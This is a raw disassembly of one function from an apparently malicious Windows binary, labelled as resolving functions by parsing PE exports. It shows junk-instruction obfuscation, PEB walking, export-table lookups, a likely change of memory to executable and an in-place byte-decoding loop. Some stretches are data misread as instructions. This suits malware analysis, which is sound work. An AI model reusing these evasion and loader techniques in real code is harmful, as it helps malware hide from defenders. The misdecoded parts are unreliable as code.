Function at 0x43516d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub esi, 0x9ea1
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x434d60
movzx edx, word [ebp - 0x21c]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1620], edx
jmp 0x434dba
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x434c88
movzx eax, word [ebp - 0x21c]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x434c88
movzx edx, word [ebp - 0x21c]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x434da4
mov dword [ebp - 0x161c], 0xffffffff
jmp 0x434dae
mov dword [ebp - 0x161c], 1
mov ecx, dword [ebp - 0x161c]
mov dword [ebp - 0x1620], ecx
cmp dword [ebp - 0x1620], 0
jne 0x434e03
push ebx
push edx
add esp, 4
or ebx, 0xdf06
pop ebx
push edx
or edx, 0x12fd0
and edx, 0x7936
and edx, 0xecb3
xor edx, 0x11579
pop edx
push ebx
push esi
add esp, 4
and ebx, 0x17019
pop ebx
mov edx, dword [ebp - 0x518]
mov dword [ebp - 0x774], edx
jmp 0x434e6b
push eax
jmp 0x434e0b
or eax, 0x15224
xor eax, 0x13b47
add eax, 0xbafe
pop eax
push edx
call 0x434e2b
add byte [esi + 0x4a], al
cmp al, byte [esi + 0x44]
push eax
add esp, 4
or edx, 0x12261
pop edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax]
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0xcd0]
je 0x434e61
mov eax, dword [ebp - 0x518]
cmp dword [eax + 0x30], 0
jne 0x434c2c
mov dword [ebp - 0x774], 0
push eax
jmp 0x434e75
and eax, 0xfb52
add eax, 0x1ea4
pop eax
push esi
push ebx
add esp, 4
sub esi, 0xc503
call 0x434e99
add byte [eax + 0x3a], al
dec esp
xor eax, dword [ecx + 0x4c]
add esp, 4
pop esi
cmp dword [ebp - 0x774], 0
jne 0x434ee7
push esi
sub esi, 0xd020
or esi, 0x11a97
pop esi
push edi
push ebx
add esp, 4
call 0x434ec5
add byte [edx], dh
xor eax, 0x4850474c
add esp, 4
call 0x434ed4
add byte [eax + eax*2], dh
xor dh, byte [0xc4833e4b]
add al, 0x5f
mov dword [ebp - 0xab0], 0
jmp 0x435a0f
push ecx
xor ecx, 0x17b2a
pop ecx
push esi
push eax
add esp, 4
call 0x434f03
add byte [ebx + eax*2 + 0x3c], cl
cmp al, 0x3c
cmp al, byte [esi + 0x3b]
inc esi
add esp, 4
pop esi
push ecx
push esi
add esp, 4
and ecx, 0x1e8f
or ecx, 0x8d51
pop ecx
mov ecx, dword [ebp - 0x774]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1664], eax
cmp dword [ebp - 0x1664], 0
jne 0x434f58
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], ecx
jmp 0x435249
mov edx, dword [ebp - 0x1664]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1668], eax
jne 0x434f80
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], ecx
jmp 0x435249
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1668]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x166c], edx
cmp dword [ebp - 0x166c], 0
jne 0x434fb2
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], eax
jmp 0x435249
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x166c]
mov dword [ebp - 0x778], ecx
jne 0x434fd7
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], edx
jmp 0x435249
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19a4], edx
mov dword [ebp - 0x77c], 0
jmp 0x435031
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x43523d
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x199c]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a0]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19a4]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19a8], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x4350a1
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x435153
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x8a4]
test eax, eax
je 0x435153
push edi
and edi, 0xba63
sub edi, 0xa6d2
xor edi, 0x10629
or edi, 0x7535
pop edi
push ebx
push edi
add esp, 4
xor ebx, 0x5399
sub ebx, 0x1748b
sub ebx, 0xe713
pop ebx
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x8a4]
cmp edx, ecx
je 0x435145
mov edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x8a4]
cmp eax, edx
jne 0x43514c
jmp 0x435092
jmp 0x435153
push edi
xor edi, 0xedcb
add edi, 0xf6ef
call 0x43516d
add byte [ecx], bh
dec edx
inc ecx
xor eax, 0x833b4042
les eax, [edi + ebx*2]
push ecx
push esi
add esp, 4
jmp 0x43517e
add ecx, 0x9c54
pop ecx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x8a4]
cmp ecx, eax
jne 0x4351b2
mov dword [ebp - 0xcd4], 0
jmp 0x435221
push esi
push edi
add esp, 4
sub esi, 0xa655
pop esi
push edi
push edx
add esp, 4
sub edi, 0x20b8
and edi, 0x5ba2
pop edi
push ebx
add ebx, 0xa50d
xor ebx, 0xe30d
and ebx, 0x8dfc
pop ebx
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x8a4]
or ecx, 0x20
cmp edx, ecx
jge 0x435217
mov dword [ebp - 0xcd4], 0xffffffff
jmp 0x435221
mov dword [ebp - 0xcd4], 1
cmp dword [ebp - 0xcd4], 0
jne 0x435238
mov edx, dword [ebp - 0x19a8]
mov dword [ebp - 0x3f4], edx
jmp 0x435249
jmp 0x435022
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x435324
push eax
push esi
add esp, 4
add eax, 0x1661e
jmp 0x43526a
pop eax
push eax
and eax, 0x135dc
xor eax, 0x5185
and eax, 0x151d4
jmp 0x435287
pop eax
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x19ac], ecx
push eax
and eax, 0x4a7c
xor eax, 0x17180
add eax, 0x4db1
xor eax, 0xb66b
pop eax
push edx
push ebx
add esp, 4
add edx, 0x18b6
sub edx, 0x5097
and edx, 0x1a1c
pop edx
mov edx, dword [ebp - 0x19ac]
mov dword [ebp - 0x19b0], edx
lea eax, [ebp - 0x1734]
push eax
call dword [ebp - 0x19b0]
test eax, eax
jne 0x435324
push ebx
and ebx, 0xd34
call 0x4352f6
add byte [edi], bh
inc edi
dec esp
inc eax
inc edx
inc esp
add esp, 4
add ebx, 0x2e6d
xor ebx, 0x17e45
pop ebx
push ecx
jmp 0x43530e
add ecx, 0x1166d
pop ecx
mov dword [ebp - 0xab0], 0
jmp 0x435a0f
push ebx
push edx
add esp, 4
sub ebx, 0x7cda
or ebx, 0x90e8
sub ebx, 0x15b88
pop ebx
push esi
call 0x43534c
add byte [edx], bh
dec ebx
aaa
aas
xor bh, byte [ebx]
cmp byte [ecx + eax*2 - 0x7d], cl
les eax, [ecx + eax*4]
into
cmp al, ah
add byte [eax], al
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19b4], ecx
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19b8], eax
mov ecx, dword [ebp - 0x19b8]
mov dword [ebp - 0x1674], ecx
push edi
add edi, 0x68cf
xor edi, 0x7858
sub edi, 0x4dd0
xor edi, 0xffc2
pop edi
push edx
push ebx
add esp, 4
and edx, 0xbf29
sub edx, 0xb8b1
add edx, 0x9d51
pop edx
cmp dword [ebp - 0x1674], 0
jne 0x4353c8
mov dword [ebp - 0x314], 0
jmp 0x43566f
mov edx, dword [ebp - 0x1674]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push edx
push ebx
add esp, 4
call 0x4353ee
add byte [ebx], dh
inc edi
cmp dword [ecx + 0x4b], ecx
dec ebx
inc esi
dec eax
xor eax, 0x8104c483
ret 0x44d5
push ebx
add ebx, 0x1198
add ebx, 0x138e3
pop ebx
push ebx
push ecx
add esp, 4
call 0x43568f
add byte [esi + 0x36], cl
aas
dec ecx
cmp eax, 0xc4833f4e
add al, 0x81
jmp 0x4356b8
je 0x4356bb
add byte [ecx + 0xb8dfe3], al
add byte [ebx + 0x56], bl
and ebx, 0xb8df
pop ebx
push esi
or esi, 0x2250
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0x94ca
add ecx, 0x12c28
or ecx, 0xd024
pop ecx
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1680], eax
cmp dword [ebp - 0x1680], 0
jne 0x435712
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x435a03
mov edx, dword [ebp - 0x1680]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1684], eax
jne 0x43573a
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x435a03
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1684]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1688], edx
cmp dword [ebp - 0x1688], 0
jne 0x43576c
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x435a03
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1688]
mov dword [ebp - 0x788], ecx
jne 0x435791
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x435a03
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19c4], edx
mov dword [ebp - 0x78c], 0
jmp 0x4357eb
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x4359f7
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19bc]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c0]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19c4]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19c8], ecx
mov dword [ebp - 0x1a8], 0
jmp 0x43585b
mov edx, dword [ebp - 0x1a8]
add edx, 1
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x43590d
mov edx, dword [ebp - 0x1a8]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x43590d
push ebx
xor ebx, 0x134c2
call 0x43589e
add byte [eax + 0x44], cl
dec esp
dec edx
dec esp
dec ecx
dec edx
inc eax
add esp, 4
sub ebx, 0xb679
call 0x4358b6
add byte [eax + 0x35], al
aas
inc esi
cmp dword [edi], esi
cmp edi, dword [ecx]
inc ebp
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a8]
movsx ecx, byte [ebp + eax - 0x9d4]
cmp edx, ecx
je 0x4358ff
mov edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x1a8]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a8]
movsx edx, byte [ebp + ecx - 0x9d4]
cmp eax, edx
jne 0x435906
jmp 0x43584c
jmp 0x43590d
push edi
and edi, 0x13e73
jmp 0x435919
pop edi
push edx
push ecx
add esp, 4
and edx, 0xf29b
call 0x435935
add byte [ecx + 0x3a], al
xor eax, dword ds:[edi + 0x4a]
dec eax
cmp eax, 0xc4833639
add al, 0x81
loop 0x43595f
test byte [eax], al
add byte [edx - 0x75], bl
test dword [eax - 8], esi
invalid
or al, 0xc7
test dword [ebx + esi*8], ebx
invalid
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab0], ecx
push ebx
push edx
add esp, 4
call 0x435a22
add byte [edx + 0x4f], al
inc ebp
inc eax
cmp eax, 0x8334363a
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [ecx + 0x45], al
inc edx
cmp dword [eax + 0x3b], edx
xor bh, byte [ecx]
inc edi
dec ecx
add esp, 4
pop ebx
push ebx
sub ebx, 0x3db4
pop ebx
mov edx, dword [ebp - 0xab0]
mov dword [ebp - 0x19cc], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x168c]
push ecx
mov edx, dword [ebp - 0x3f8]
push edx
call dword [ebp - 0x19cc]
test eax, eax
jne 0x435ab4
push eax
push eax
add esp, 4
sub eax, 0x16e89
add eax, 0x476c
xor eax, 0x11f6
jmp 0x435a8b
pop eax
push ebx
call 0x435a9c
add byte [edx], dh
dec edi
cmp byte [edi + 0x3b], cl
xor eax, 0x8349453c
les eax, [ebx + ebx*2]
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x19d0], eax
push 0
call dword [ebp - 0x19d0]
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x798], ecx
jmp 0x435ad1
mov edx, dword [ebp - 0x798]
add edx, 1
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab4]
jae 0x435b2d
push ebx
jmp 0x435ae5
sub ebx, 0x919f
jmp 0x435af0
pop ebx
push ecx
push ebx
add esp, 4
sub ecx, 0x158d0
and ecx, 0x2d3d
pop ecx
push edi
and edi, 0x17c8f
or edi, 0x60a8
pop edi
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x798]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x798]
mov byte [ecx], al
jmp 0x435ac2
mov edx, dword [ebp - 0xab0]
mov dword [ebp - 0x19d8], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
push ecx
mov edx, dword [ebp - 0x168c]
push edx
mov eax, dword [ebp - 0x3f8]
push eax
call dword [ebp - 0x19d8]
test eax, eax
jne 0x435ba5
push ecx
jmp 0x435b65
or ecx, 0xa882
call 0x435b79
add byte [edx + 0x4f], al
dec esp
inc ebx
push eax
aaa
dec eax
aas
add esp, 4
or ecx, 0x9208
pop ecx
push edi
or edi, 0x8ff9
xor edi, 0x15c35
pop edi
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x19dc], ecx
push 0
call dword [ebp - 0x19dc]
push eax
push ecx
add esp, 4
jmp 0x435bb1
call 0x435bc1
add byte [edx], bh
xor al, 0x3b
xor al, 0x32
cmp byte [edi], bh
add esp, 4
call 0x435bd3
add byte [edi], bh
cmp al, 0x34
dec edx
dec esi
dec esi
dec ebx
inc ebp
xor eax, 0x5804c483
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop edi
pop ebx
mov ebp, cs
or eax, 0x4e01ef8a
or dword [ecx], ecx
pushal
pop ecx
mov ebp, cs
or eax, 0x1026f08a
or cl, byte [ecx]
mov bh, al
dec esp
jg 0x435c0a
or dword [edx + 0x925e7f0], ecx
or dword [eax + 0x5c], ebp
mov dl, ah
mov byte [edx + ecx + 9], dh
mov cl, ah
or eax, 0x64090911
iretd